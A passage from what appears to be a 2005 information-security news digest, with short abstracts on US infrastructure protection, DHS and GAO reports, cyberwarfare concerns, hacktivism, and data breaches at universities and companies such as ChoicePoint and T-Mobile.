A fledgling nonprofit group working to develop an automated cyber-attack early warning system, the Cyber Incident Detection Data Analysis Center (CIDDAC), is about to begin a pilot project to collect data on network intrusions from a group of companies in national-infrastructure industries. Backed by a grant from the Department of Homeland Security, CIDDAC has set up an operations center at the University of Pennsylvania's Institute of Strategic Threat Analysis and Response laboratory. Around 30 organizations will eventually participate in the project, although some are still being selected, according to CIDDAC Executive Director Charles Fleming. He expects to have useful data from the pilot test in about five months. CIDDAC's focus is on linking together organizations in industries such as banking, electrical power, gas and oil, telecommunications and transportation. The center will use a network of sensors, dubbed RCADSs (Real-Time Cyber Attack Detection Sensors), to gather information on intrusions and attempts. CIDDAC will also pass collected information on to law enforcement agencies, but Fleming emphasized that serving private-sector alert needs is the group's priority. CIDDAC Website: http://www.ciddac.org/

Category 16.3 Infrastructure protection & homeland security

2005-05-04 NSF cyber infrastructure plan Internet2 improving security colleges universities

EDUPAGE; http://chronicle.com/prm/daily/2005/05/2005050401t.htm

NSF WORKING ON CYBERINFRASTRUCTURE PLAN

Arden L. Bement Jr., director of the National Science Foundation (NSF), this week told attendees of an Internet2 meeting in Virginia that the NSF is developing a plan to support development of the nation's cyberinfrastructure, including that of colleges and universities. Bement said that funding for cyberinfrastructure is "one of the most important investments of the 21st century," though the announcement was short on specifics. The NSF's Cyberinfrastructure Interim Working Group submitted a report to Bement that reportedly outlines the details of the plan, but the agency said it will not release the report until some issues are cleared up. In his comments, Bement noted that higher education in particular is in need of improvements. What he described as six-lane superhighways for data "are reduced to two-lane roads at most college and university campuses." Such "information overload," as he called it, impedes research from being conducted efficiently. Still, Bement noted that money for the NSF "is not plentiful" and that it will likely be even scarcer in the future. Chronicle of Higher Education, 4 May 2005 (sub. req'd)

Category 16.3 Infrastructure protection & homeland security 2005-05-05 US Computer Emergency Readiness Team US-CERT service expansion Department of Homeland Security

DHS IAIP Daily; http://fcw.com/article88781-05-05-05-Web

US-CERT EXPANDS SERVICES

The Department of Homeland Security's U.S. Computer Emergency Readiness Team (US-CERT) will offer federal agencies expanded cybersecurity alerts and threat management services. Federal employees who are designated as first responders in their agencies will have greater access to advanced warnings about cyberattacks. With such early warnings, network and computer security managers often can block incoming worm or virus attacks before they cause damage or disrupt computer network services. "We're been working for some time with public- and private-sector partners to build a better understanding of what we need by way of cyber situational awareness," said Andy Purdy, acting director of the National Cyber Security Division in DHS' Information Analysis and Infrastructure Protection Directorate. Cybersecurity officials who are members of the federal Government Forum of Incident Response and Security Teams will use the new alert and threat management services, along with existing government and commercial services, to protect federal agency networks and computer systems.

Category 16.3 Infrastructure protection & homeland security

2005-05-09 Iowa State University ISU computer network Internet attack simulation ISEAGE Department of Justice critical infrastructure protection

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1813648,00.asp

UNIVERSITY LABORATORY STUDIES EFFECTS OF INTERNET ATTACKS

A new test laboratory at Iowa State University (ISU) will allow researchers to study how computer networks respond to massive Internet attacks and could lead to breakthroughs in computer defenses and forensics, said a researcher behind the project. The new test network, ISEAGE (Internet Simulation Event and Attack Generation Environment), was funded by a \$500,000 grant from the Department of Justice. ISEAGE is the first research lab to be able to re-create any cyber-attack on any part of the Internet infrastructure, said Doug Jacobson, director of information assurance at ISU. The guts of the new test lab are software tools, developed by Jacobson, that let researchers change traffic patterns, replay attacks in endless configurations and collect attack data, Jacobson said. "We can make an attack that looks like it came from 1,000 computers, but we don't need 1,000 computers to do it," he said. The testbed can just as easily simulate attacks from 100,000 Internet-connected machines—or from every Internet address in existence, Jacobson said. Researchers will use ISEAGE to model attacks on critical cyber-infrastructure, such as state and federal computer networks.

Category 16.3 Infrastructure protection & homeland security

2005-05-26 GAO report DHS unprepared computer cybersecurity

EDUPAGE; http://news.com.com/2100-7348_3-5722227.html

GAO SAYS DHS UNPREPARED FOR CYBERSECURITY

The Government Accountability Office (GAO) has issued a report strongly critical of the readiness of the Department of Homeland Security (DHS) to deal with threats to the nation's cybersecurity. According to the report, DHS "has not fully addressed any" of 13 areas of cybersecurity, including bot networks, criminal gangs, foreign intelligence services, spammers, and spyware. "DHS cannot effectively function as the cybersecurity focal point intended by law and national policy," said the authors of the report. During the past year, DHS has seen the departure of a number of high-level officials, including the director and deputy director of Homeland Security's National Cyber Security Division, the undersecretary for infrastructure protection, and the assistant secretary responsible for information protection. A representative of DHS refuted the GAO's findings, saying that DHS has made improvements to the "nation's cybersecurity posture." He noted that DHS, as a new federal agency, measures progress in nonquantitative, less formal ways. CNET, 26 May 2005

Category 16.3	Infrastructure protection & homeland security		
2005-06-09	DHS lacking disaster backups TSA Coast Guard insufficient money management		
DHS IAIP Daily; http://www.nytimes.com/2005/06/09/politics/09home.html			

INTERNAL AUDIT FINDS DHS IS LACKING DISASTER BACKUPS

An internal inspector general audit released on Wednesday, June 8, concluded the computer systems at 19 Department of Homeland Security (DHS) sites that served agencies like the Transportation Security Administration, Customs and Border Protection and the Coast Guard had no functioning backups or relied on obviously deficient or incomplete backups. Even the Federal Emergency Management Agency, which is in charge of disaster recovery, was unprepared, the report said. The department "must be able to provide mission-essential services with minimal disruption following a disaster," the report said. Adequate backups were lacking for networks that screen airline passengers, that inspect goods moving across borders and that communicate with department employees and outside officials. Those same agencies, the auditors found, have in most cases failed to prepare sufficiently written disaster recovery plans that would guide operations if a main office or computer system was knocked out. The problems, the audit said, are insufficient money and insufficient management attention. "We recognize that information-technology continuity is important to lead an effective recovery, which is why we are developing a plan to ensure critical systems continuity," a spokesperson, Brian Rochrkasse, said. Inspector General's Report: http://www.dhs.gov/interweb/assetlibrary/OIGr_05-22_May05.pdf

Category 16.3 Infrastructure protection & homeland security 2005-06-13 US dumps drops ditches biometric passport requirement UK DHS terrorism antiterrorism civil liberties privacy concerns

EDUPAGE; http://www.theregister.com/2005/06/13/us_bio_passports/

U.S. EXPECTED TO DITCH BIOMETRIC PASSPORT REQUIREMENT

Government officials in the United Kingdom are optimistic that the United States will withdraw an upcoming requirement that individuals traveling under the Visa Waiver program have biometric passports. The program allows people from 27 countries to make short visits to the United States without a visa. The U.S. Department of Homeland Security had issued a ruling that participants in the Visa Waiver program would be required to have biometric identifying information added to their passports by October 2004, which was extended to October 2005. Officials in Ireland have put on hold their efforts to comply with the regulation, believing that U.S. officials have come to see the technology as sufficiently unreliable to compel its use by this fall. Critics of biometric technology also point to the possibility that such information could be used to violate individuals' civil liberties. The Register, 13 June 2005

Category 16.3	Infrastructure protection & homeland security
2005-06-20	USAPATRIOT Act surveillance search seizure constitutional rights warrants
	investigation counter-terrorism civil rights libraries reading

RISKS; http://www.nytimes.com/2005/06/20/politics/20patriot.html? 23 91

LEOs MONITOR READING MATERIALS

Law enforcement officials have made at least 200 formal and informal inquiries to libraries for information on reading material and other internal matters since October 2001, according to a new study that adds grist to the growing debate in Congress over the government's counterterrorism powers. In some cases, agents used subpoenas or other formal demands to obtain information like lists of users checking out a book on Osama bin Laden. Other requests were informal – and were sometimes turned down by librarians who chafed at the notion of turning over such material, said the American Library Association, which commissioned the study. [Source: Eric Lichtblau, *The New York Times*, 20 Jun 2005; Abstract by Peter G. Neumann]

Category16.3Infrastructure protection & homeland security2005-07-19GAO Infrastructure Protection DHS summarize work status challenges
cybersecurity recommendations

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/36434-1.html

CRITICAL INFRASTRUCTURE PROTECTION: CHALLENGES IN ADDRESSING CYBERSECURITY (TESTIMONY)

The Homeland Security Act of 2002 and federal policy established the Department of Homeland Security (DHS) as the focal point for coordinating activities to protect the computer systems that support our nation's critical infrastructures. GAO was asked to summarize previous work, focusing on (1) DHS's responsibilities for cybersecurity-related critical infrastructure protection (CIP), (2) the status of the department's efforts to fulfill these responsibilities, (3) the challenges it faces in fulfilling its cybersecurity responsibilities, and (4) recommendations GAO has made to improve 13 cybersecurity of our nation's critical infrastructure. While DHS has initiated multiple efforts to fulfill its responsibilities, it has not fully addressed any of the 13 responsibilities, and much work remains ahead. The department established the US-CERT as a public/private partnership to make cybersecurity a coordinated national effort, and it established forums to build greater trust and information sharing among federal officials with information security responsibilities and law enforcement entities. However, DHS has not yet developed national cyber threat and vulnerability assessments or government/industry contingency recovery plans for cybersecurity, including a plan for recovering key Internet functions.

Category 16.3 Infrastructure protection & homeland security 2005-07-20 Government News DHS IT Department of Homeland Security congressional NCSD

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/36434-1.html

DHS TO MOUNT MAJOR IT SECURITY EXERCISE

The Department of Homeland Security plans to conduct a major cybersecurity preparedness and response exercise to be called Cyber Storm in November, a department official said in congressional testimony Tuesday, July 19. Andy Purdy, acting director of DHS' National Cyber Security Division (NCSD), described Cyber Storm as "a national exercise" during a hearing of the Senate Homeland Security and Governmental Affairs Subcommittee on Federal Financial Management, Government Information and International Security. According to written testimony Purdy presented, the division has worked with the Justice and Defense departments to help form the National Cyber Response Coordination Group (NCRCG). "The NCRCG has developed a concept of operations for national cyber incident response that will be examined in the National Cyber Exercise, Cyber Storm, to be conducted by NCSD in November 2005 with public and private-sector stakeholders."

Category16.3Infrastructure protection & homeland security2005-08-02terrorism cyberterrorists copy hacker tactics information cyber warfare security
government

DHS IAIP Daily; http://www.techweb.com/wire/security/167100173#_

TERRORISTS COPYING HACKER TACTICS.

Cyber-terrorists are trying to break into government networks around the world using the same tactics as run-of-the-mill hackers, a U.S. State Department official said Tuesday, August 2. "The same technique that a hacker would use, the same technology, will be utilized by somebody with a different political motivation," Michael Alcorn, branch chief of the State Department's Office of Anti-Terrorism Assistance, in a statement made to the AFP wire service in Kuala Lumpur on Tuesday. The Office of Anti-Terrorism Assistance trains foreign law enforcement personnel on a variety of terrorism-related topics, including cyber-security. "The problem we're all facing is a global borderless problem, where attacks can occur anywhere in the world and originate from anywhere else in the world," Alcorn told the AFP. He went on to say that cyber-security problems and resulting terrorist activity was widespread, and claimed that some of the evidence of attacks has come from overseas law enforcement agencies which have confiscated militants' computers. "They're finding evidence on these computers that indicates militants have looked into or are researching this type of technology," Alcorn said.

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category 16.3	y 16.3 Infrastructure protection & homeland security		
2005-08-11 DHS report private vendor domestic security improvement businesses			
DUCLIDD 1			

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0,10801,103827,00.html

BUSINESSES NEED TO FOCUS ON CYBERSECURITY

The Department of Homeland Security (DHS) will focus significant efforts on cybersecurity and on working with private vendors to develop technologies designed to provide domestic security in the coming months, DHS Secretary Michael Chertoff said Wednesday, August 10. Chertoff, speaking at the InfraGard National Conference in Washington, DC, also called on private companies to make more of an effort to protect their cyberinfrastructures. He also said more incentives are needed for IT vendors to focus on cybersecurity. InfraGard is an organization started by the FBI to improve information sharing about critical infrastructure between the U.S. government and private industry. One incentive for private companies to develop cybersecurity products would be to institute legal reforms that limit damages from product lawsuits, Chertoff said. As an example, he cited the Support Anti-terrorism by Fostering Effective Technologies Act of 2002, which limits liability for products designed to combat terrorism. But he said Congress should go further in protecting companies from product lawsuits. However, private companies should already have good reasons to protect their infrastructures, he said. "In today's threat environment, active security measures are critical to businesses themselves, because the cost of an attack will very, very greatly outweigh the cost of protection." InfraGard 2005 National Conference: http://www.infragardconferences.com/

Category 16.3	Infrastructure protection & homeland security		
2005-09-16	national security policy critical infrastructure report vulnera testimony Congress committee information warfare physica terrorism Internet robustness resiliance cooperation		
RISKS; http://www.	house.gov/science/press/109/109-129.htm	24	04

CIO5 WARN CONGRESSIONAL COMMITTEE OF CRITICAL INFRASTRUCTURE VULNERABILITIES

On Sep 15, 2005, CIOs of several major US corporations warned the House Science Committee "the nation's critical infrastructure remains vulnerable to cyber attack. The witnesses said the economy is increasingly dependent on the Internet and that a major attack could result in significant economic disruption and loss of life."

. . . .

"Urging action to address this vulnerability, the witnesses advocated increased funding for cybersecurity research and development (R&D) and greater information sharing between industry and government and among various sectors of industry. Witnesses also urged greater federal attention to cybersecurity and praised the creation of an Assistant Secretary for Cybersecurity at the Department of Homeland Security (DHS)."

. . . .

>[Mr. John Leggate, Chief Information Officer, British Petroleum Inc.] testified that an informal survey earlier this year found that executives in the telecommunications, energy, chemical, and transportation sectors estimated that about 30 percent of their revenue depends directly on the Internet. He also said that, because of interdependency among various industry sectors, a single attack could reverberate throughout the global economy: "These cascading dependencies all too quickly create 'domino effects' that are not obvious to the corporate customer or the policymaker."<

[Extracts by MK]

Category 16.3	Infrastructure protection & homeland security
2005-10-20	security evaluation legal ruling court judgement shut down denial-of-service DoS
	government agency department

http://sfgate.com/cgi-

bin/article.cgi?file=/n/a/2005/10/20/national/w145958D47.DTL

US DEPT OF INTERIOR ORDERED OFF THE 'NET'

Security expert Stephen Cobb, CISSP writes, "The US Department of the Interior has spent \$100 million on security improvements in the last 3 years but still gets an "F" for security and so has to stay off the 'net until it can prove the data on its network is safe." A story by Jennifer Talhelm, AP writer, begins, "A judge ordered the Interior Department to disconnect from the Internet all computer equipment holding data related to trust accounts it manages for American Indians, a decision that could cripple large sections of the agency's computer network. In a 205-page opinion declaring the department's computer security 'disorganized and broken,' U.S. District Judge Royce Lamberth on Thursday (2005/10/20) said the order applies to all networks with access to trusted data -- from servers to BlackBerrys -- except what is necessary to protect from fire or threats to life, property or national security."

Category 16.3 Infrastructure protection & homeland security

2005-10-27 US Presidential executive order inter-agency information sharing

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/37432-1.html

EXECUTIVE ORDER BOLSTERS INFORMATION-SHARING AMONG AGENCIES

On Tuesday, October 25, President Bush issued Executive Order 13356 that restructures information-sharing responsibilities among agencies combating terrorism. The Order grants authority to the Office of the Director of National Intelligence. Executive Order 13356: http://www.whitehouse.gov/news/releases/2005/10/20051025-5.html

Category 16.3 Infrastructure protection & homeland security

2005-10-28 US SCADA systems protection security industrial control critical infrastructure homeland security

DHS IAIP Daily; http://www.securityfocus.com/news/11351

U.S. MAKES SECURING SCADA SYSTEMS A PRIORITY

Wary of the increasing number of online attacks against industrial control systems, the U.S. government has stepped up efforts to secure the systems used to control and monitor critical infrastructure, such as power, utility, and transportation networks. Andy Purdy, acting director of the National Cyber Security Division at the Department of Homeland Security (DHS), stated, "The exposure of these systems to malicious actors in cyberspace is greater than in the past, because these systems are more often connected to the Internet. With the profit margins of many of the owners and operators, it is a challenge to convince them to spend to reduce the risk." DHS has become increasingly concerned over the lack of security of such control networks -- among which the best known is the supervisory control and data acquisition (SCADA) system -- because the majority of such control systems are owned by private companies and are increasingly being interconnected to improve efficiency.

Category 16.3 Infrastructure protection & homeland security

2005-11-02 DHS IT system audit report systems uncertified unaccredited FISMA

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/37474-1.html

DHS'S INSPECTOR GENERAL AUDITS IT SYSTEMS

An audit by the Department of Homeland Security's inspector general, Richard L. Skinner, found that many of the department's IT systems remain uncertified and unaccredited, while plans to correct weaknesses are undeveloped. The report also said contingency plans have not been developed and tested for all systems, and added that tools used to measure progress are neither complete nor current. "We recommend that DHS continue to consider its information security program a significant deficiency for [fiscal] 2005," the report concluded. DHS officials agreed with the recommendations and, according to the report, have developed remediation plans for fiscal 2006. Skinner evaluated DHS' compliance with the Federal Information Security Management Act of 2002, which focuses on program management, implementation and evaluation of the security of unclassified and national security IT systems. The department has made progress on several fronts, including developing so-called Plans of Action and Milestones, as well as a Trusted Agent FISMA tool to collect and track data related to FISMA compliance. Report: http://www.dhs.gov/interweb/assetlibrary/OIG_05-46_Sep05.pdf

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category16.3Infrastructure protection & homeland security2005-11-07infrastructure collapse natural disaster hurricane Katrina telecom weak linkDHS IAIP Daily; http://www.gcn.com/vol1_no1/daily=updates/37515=1.html

TELECOM INFRASTRUCTURE IS WEAK LINK IN DISASTERS

During Hurricane Katrina, getting enough power was a major issue for the Gulf Coast telecom providers, as was keeping the basic infrastructure running and providing physical security for workers and equipment. A recent Federal Communications Commission meeting with two telecommunication providers revealed that outages in physical infrastructure remains a problem for networks in disaster situations. Anthony Melone, vice president of network operations support for Verizon Wireless stated that Katrina "was probably the most severely impacted situation that we've experienced...There were a lot of unique learning experiences." Verizon Wireless' cellular phone coverage for Alabama, Louisiana, and Mississippi dipped to less than 50 percent of its full coverage, and about six percent of BellSouth's customer base -- about 1.2 million users -- lost landline telephone usage.

Category16.3Infrastructure protection & homeland security2005-12-05DHS large-scale disaster recovery research center John Hopkins University
terrorism anti-terrorism

EDUPAGE; http://www.govtech.net/magazine/channel_story.php/97475

DHS PICKS JOHNS HOPKINS FOR DISASTER PREPAREDNESS

The Department of Homeland Security (DHS) has chosen Johns Hopkins University to lead an effort to investigate nationwide preparedness for and response to large-scale disasters. The Center for the Study of High Consequence Event Preparedness and Response will look at ways the country can prevent and manage disasters, particularly through the interactions of networks and through models and simulations. The center will address issues including risk assessment, decision making, infrastructure integrity, surge capacity, and sensor networks. The center is the fifth Center of Excellence, administered by DHS's Office of University Programs and dedicated to university-based interdisciplinary research. Michael Chertoff, secretary of Homeland Security, said Johns Hopkins will "lead a talented and deeply experienced team of professionals from institutions across the country" to help prevent and respond to "high-consequence disasters or terrorist attacks." Government Technology, 5 December 2005

Government Teenhology, 5 December 2005

Category 16.3 Infrastructure protection & homeland security

2005-12-13 Cyber Security Industry Alliance CSIA federal government DHS rating D+

EDUPAGE; http://www.fcw.com/article91710-12-13-05-Web

CSIA GIVES FEDS D+ ON CYBERSECURITY

In a report card released by the Cyber Security Industry Alliance (CSIA), the federal government received a grade of D+ for cybersecurity. CISA gave credit to the Department of Homeland Security for establishing a new position, the assistant secretary for cybersecurity. Six months after that job was created, however, it remains unfilled. Paul Kurtz, executive director of CSIA, commented that "Cybersecurity research is in a crisis." CSIA also launched what it calls a Digital Confidence Index, a measure of public confidence in efforts to protect computers and systems. The initial rating for the index is 58 out of 100. CSIA issued a set of 13 recommendations, called the National Agenda for Information Security in 2006, designed to improve the nation's cybersecurity. Among the recommendations are calls to increase funding for cybersecurity research and to promote cooperation among federal agencies. Federal Computer Week, 13 December 2005

16.4 Military & government perspectives on INFOWAR

Category16.4Military & government perspectives on INFOWAR2005-04-07US official warning Chinese intelligence Latin South America trade economic
cyberwarfare capability Level-1 INFOWAR

DHS IAIP Daily; http://www.miami.com/mld/miamiherald/11332057.htm

U.S. OFFICIALS WARN OF CHINESE INTELLIGENCE AND CYBERWARFARE ROLES IN LATIN AMERICA

U.S. officials said Wednesday, April 6, there is no evidence that China is seeking to boost its military presence in Latin America, but for the first time warned about Chinese intentions to establish an intelligence and cyberwarfare beachhead in the region. Roger Noriega, assistant secretary of state for Latin America, and Rogelio Pardo-Maurer, the top Defense Department official for the Western Hemisphere, testified before a House panel as several legislators argued that China is trying to fill the void left by the lack of U.S. involvement in the region. Noriega and Pardo-Maurer said China's interests in Latin America. Pardo-Maurer said that "we need to be alert to rapidly advancing Chinese capabilities, particularly in the fields of intelligence, communications and cyberwarfare, and their possible application in the region." This is the first time that a senior Pentagon official warned so directly about Chinese cyberwarfare capabilities in the region.

Category 16.4 Military & government perspectives on INFOWAR

2005-08-30 US Army military perspective INFOWAR blogging disintermediation Web sites classified sensitive information

EDUPAGE; http://www.fcw.com/article90522-08-30-05-Web

ARMY ON THE LOOKOUT FOR SENSITIVE INFO ONLINE U.S.

Army officials have said they will take a closer look at blogs and Web sites maintained by soldiers. Many such blogs and Web sites include photographs or other information that inadvertently exposes classified or sensitive information to anyone with access to the Internet. Gen. Peter Schoomaker, the Army's chief of staff, noted that soldiers routinely post pictures online that include "tactics, techniques, and procedures" for weapons systems. According to Richard Cody, Army vice chief of staff, "The enemy is actively searching the unclassified networks for information, especially sensitive photos." Schoomaker issued a memo saying that the Army will work to closely monitor Web sites and blogs to avoid operational security violations, which "needlessly place lives at risk and degrade the effectiveness of our operations." Federal Computer Week, 30 August 2005

Category 16.4 Military & government perspectives on INFOWAR

2005-12-13 research report hacker attack US network Chinese military information warfare INFOWAR

DHS IAIP Daily; http://www.physorg.com/news8992.html

RESEARCHERS: HACKER ATTACKS IN U.S. LINKED TO CHINESE MILITARY

A systematic effort by hackers to penetrate U.S. government and industry computer networks stems most likely from the Chinese military, the head of a leading security institute said. The attacks have been traced to the Chinese province of Guangdong, and the techniques used make it appear unlikely to come from any other source than the military, said Alan Paller, the director of the SANS Institute, an education and research organization focusing on cybersecurity. In the attacks, Paller said, the perpetrators "were in and out with no keystroke errors and left no fingerprints, and created a backdoor in less than 30 minutes. How can this be done by anyone other than a military organization?" Paller said that despite what appears to be a systematic effort to target government agencies and defense contractors, defenses have remained weak in many areas. Security among private-sector Pentagon contractors may not be as robust, said Paller, because "they are less willing to make it hard for mobile people to get their work done." The U.S. military has code-named the recent hacker effort "Titan Rain" and has made some strides in counter-hacking to identify the attackers, Paller said.

16.5 Hacktivism

Category 16.5 Hacktivism

Japan cyber attack Websites hacktivism China bilateral disagreement

DHS IAIP Daily;

2005-04-14

http://story.news.yahoo.com/news?tmpl=story&cid=1509&ncid=73

 $8\&e=11\&u=/afp/20050414/tc_afp/japanchinainternet$

JAPAN SUSPECTS CYBER ATTACK ON OFFICIAL WEBSITES

Japan's police and defense agencies said they had come under cyber attack, amid reports a Chinese website was calling for the jamming of Japanese servers amid a heated bilateral disagreement. "Access to the homepage of the National Police Agency was hampered from around 9:00 pm (1200 GMT Wednesday, April 13) to 3:00 am (1700 GMT)," the national police said in a statement. "We are investigating the cause but it is highly possible that it was a cyber attack in which a large volume of information was sent to the address of the homepage," it said. Japanese media reports said a Chinese website had urged Internet users to flood Japanese servers with irrelevant data. A police spokesperson said the agency was "aware of the call" from China but had not identified what hampered the access. The Defense Agency also said its Website had been experiencing access problems from late Wednesday, April 13. Tensions have been rising between Japan and China. Japan announced Wednesday that its companies would have the right to drill for oil and gas in an area of the East China Sea bitterly disputed between the Asian economic powers.

17.1 Penetration

Category 17.1 Penetration

2005-01-12 penetration George Mason GMU college grades confidential data

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A5188-2005Jan12.html

SECURITY I: VANDALISM OF COLLEGE NETWORKS

Early this month an intruder penetrated a central computer at George Mason University and attempted to access GMU's 130 other servers -- which hold such information as grades, financial aid, and payrolls. In the past two years, similar attacks have occurred at the universities of Georgia, Texas, Missouri, and California. To resist such attacks, some schools are beginning to use software that scans individual computers before they are allowed to connect to campus networks, and other institutions are setting up multiple smaller networks that house sensitive data, keeping them separate from the main networks. (Washington Post 12 Jan 2005)

Category 17.1 Penetration 2005-01-12 T-Mobile data theft Secret Service Jacobsen e-mail files customers vandal penetration breakin trespass criminal hacker

NewsScan; http://www.siliconvalley.com/mld/siliconvalley/10633193.htm

SECURITY II: ATTACK ON T-MOBILE

A network vandal broke into the network of wireless carrier T-Mobile over a seven month period and read e-mails and personal computer files of hundreds of customers -- including those of the Secret Service agent investigating the hacker himself. The online activities of the vandal, 21-year-old computer engineer Nicolas Lee Jacobsen of Santa Ana, were traced to a hotel where he was staying in Williamsport, N.Y. Although Jacobsen was able to view the names and Social Security numbers of 400 customers (all of whom were notified in writing about the break-in), customer credit card numbers and other financial information never were revealed, and T-Mobile says it "immediately took steps that prevented any further access to this system." (AP/12 Jan 2005)

Category 17.1	Penetration		
2005-02-15	data theft confidentiality control identity fraud co Social Security Numbers SSN credit reports	nsumer records social enginee	ering
RISKS: http://nev	vs.com.com/2100-1029-5577122.html	23 72	

RISKS; http://news.com.com/2100-1029-5577122.html 23

SCAMMERS ACCESS CHOICEPOINT DATA ON 35,000

ChoicePoint confirmed on 15 Feb that criminals recently accessed its database of consumer records, potentially viewing the personal data of about 35,000 Californians and resulting in at least one case of identity fraud. The unidentified individuals posed as legitimate businesspeople in order to [breach]* its defenses. Chuck Jones, a company spokesman, said that roughly 50 fraudulent accounts were set up by the schemers, through which they could view the data of California residents.

News of the crime first surfaced when ChoicePoint sent an e-mail to individuals potentially affected by the attack last week. Among the data available through the company's services, and possibly accessed by the criminals, are consumers' names, addresses, Social Security numbers and credit reports.

(Matt Himes in news.com , relayed via RISKS by Monty Solomon)

* Prof Kabay notes: The original article used "breech." DON'T DO THAT. If you mean a breakin, the word is "breach."

Category 17.1	Penetration		
005-03-09 confidentiality hacking cracking security failure data leakage punishment stude applications ethics rejection consequences questions problems			ent student
RISKS; http://tiny	url.com/6k3zs; http://tinyurl.com/du52h	23	78
UNIVERSITIES RE	ECT STUDENTS WHO CHECKED THEIR ADMISSION STAT	US ONLINE	
information published candidates, provoking response was draconia	some students tried to check the status of their applications to variou l in an online forum on how to find their records. Several schools res some controversy about whether the students had done anything wr an. Mony Solomon summarized the university response and Peter Ne owing RISKS posting.]	sponded by rejecting ong in the first place	those and whether the
hacked into a website took a peek, along wit other business school	gement has joined Carnegie-Mellon and Harvard in rejecting applicat to learn whether they had been admitted before they were formally n h 1 at CMU, 119 at Harvard, and 41 at Stanford. The Web site is run s. Its access was compromised by a posting on a BusinessWeek Onlir n Globe*, 8 and 9 Mar 2005]	otified. 32 MIT app by ApplyYourself, a	licants reportedly and also used by
considered their trea blank page at Apply' the site. Dave Leshe What's the B-schoo company with inad SSN's and other fir consent by the app data broker? Could Joe Hall wrote What strikes me is without any further "hacking". That's i who are even crapp Joe also noted Ed Fo http://www.freedo PGN wonders what candidates to see if	ols' culpability in contracting out a process to a equate security? [Presumably] the schools demanded lancial data from the applicants. Was there informed licants to have their data shared with, in effect, a d they apply WITHOUT so agreeing? how constructing a URL that is available to students e authentication or protection is considered nevitably diluting any geek cred. held by any of us by hackers! elten's post on this subject at om-to-tinker.com/archives/000780.html if a competing candidate had masqueraded as other others had been accepted, and thereby wound up ected! Could that be a suitable defense for the		
Category 17.1	Penetration		
2005-03-17	Boston College alumni database Social Security Num virus data leakage	bers information	disclosure

EDUPAGE; http://news.zdnet.com/2100-1009_22-5623084.html

VIRUS INFECTS BOSTON COLLEGE ALUMNI DATABASE

A computer at Boston College with access to an alumni database has been found to be infected with a virus that may have exposed personal information on more than 100,000 individuals. According to officials at the college, the computer was operated not by the college but by a third-party IT service, which officials declined to name. Although no evidence has so far surfaced that any of the information in the database was in fact accessed by hackers, officials decided to notify anyone who might have been affected. Jack Dunn, spokesperson for Boston College, said, "We thought it was necessary to send out the precautionary advisory to alert the alumni and to offer them steps that they could take to ensure their privacy." Dunn also noted that Boston College will hereafter delete Social Security numbers from its records, despite their usefulness in maintaining accurate records. Social Security numbers have lately been highlighted as one of the pieces of personal information that pose the greatest risk for identity theft. Members of Congress have recently proposed strict restrictions for how and when Social Security numbers can be gathered and sold. ZDNet, 17 March 2005

Category 17.1 Penetration 2005-03-18 criminal hackers Web site vulnerability exploit consequences university admissions ethics

http://www.post-gazette.com/pg/05077/473361.stm

APPLY YOURSELF TO BREAKING INTO ... APPLYYOURSELF, INC.

Criminal hackers posted instructions on March 2, 2005 on how to break into the ApplyYourself Inc. database online, a repository of applications used by many universities to track applicants.

About 150 candidates did break into the database and were identified because they looked at their own applications. Most of the six top business schools involved in the breakin rejected the applicants outright. However, Dartmouth College's Tuck School of Business decided to count the breakins as a factor detracting from an applicant's suitability but not absolutely barring their admission. Stanford University's business school had not yet decided on a firm policy by mid-March. Ethicists pointed out serious problems with the laissez-faire attitude of these schools.

Category 17.1 Penetration

2005-03-19 Social Security Numbers SSN data loss theft compromise criminal hackers

23

80

RISKS; http://news.zdnet.com/2100-1009_22-5623084.html

BOSTON COLLEGE LOSES THOUSANDS OF SSNs

[Same case as one in VIRUS INFECTS BOSTON COLLEGE ALUMNI DATABASE entry]

Geoff Kuenning summarized yet another after-the-fact response to a breach of confidentiality:

Hackers have invaded a Boston College database of alumni, compromising data on up to 100,000 people. The data includes Social Security Numbers. In a choice quote, Jack Dunn of BC ``noted that Boston College will hereafter delete Social Security numbers from its records, despite their usefulness in maintaining accurate records."

Question: If every organization that currently stores SSNs waits until *after* they are hacked before they decide that maybe it's not smart to expose sensitive data, how many Americans will be left with uncompromised SSNs?

Liability laws are desperately needed.

Category 17.1	Penetration
2005-05-11	computer security attack FBI thwart Cisco routers government university computers NASA NCSA San Diego Supercomputer Center Sweden teenager

EDUPAGE; http://online.wsj.com/article/0,,SB111569768679229042,00.html

FBI THWARTED COMPUTER ATTACKS

An investigation into the theft of part of the operating system software for Cisco routers has prevented network attacks on government and university computers, according to the FBI. In May 2004, a hacker was able to access Cisco's software and reportedly used that information to compromise networks at several military installations and at the National Aeronautics and Space Administration. Computers at the Argonne National Laboratory, the National Center for Supercomputing Applications, and the San Diego Supercomputer Center were also compromised. The FBI said that law enforcement action has apparently ended the break-ins. As part of the investigation, authorities in Sweden detained a teenager thought to be involved in the malicious activity, though it remains unclear whether U.S. authorities will be able to prosecute that person. Wall Street Journal, 11 May 2005 (sub. req'd)

Category 17.1	Penetration
2005-05-26	hackers hacking penetration Stanford University Career Development Center CDC
	personal information disclosure Social Security Numbers

EDUPAGE; http://software.silicon.com/security/0,39024655,39130758,00.htm

HACKERS HIT STANFORD

Officials at Stanford University and the FBI are investigating a computer breach at the university's Career Development Center (CDC) earlier this month that may have exposed personal information on as many as 10,000 individuals. Most of those affected are students, though a small number are recruiters who had registered with the CDC. Information that might have been improperly accessed includes names, Social Security numbers, financial information, and, in some cases, credit card numbers. The university is notifying those possibly affected by the breach, in compliance with the 2003 Security Breach Information Act. That law requires organizations to inform California residents any time their personal information might have been accessed without authorization. Silicon.com, 26 May 2005

Category 17.1	Penetration
2005-06-17	data theft penetration criminal hacker credit burea

RISKS; http://www.cbc.ca/story/business/national/2005/06/17/equifax- 23 91 050617.html

EQUIFAX (CANADA) HACKED

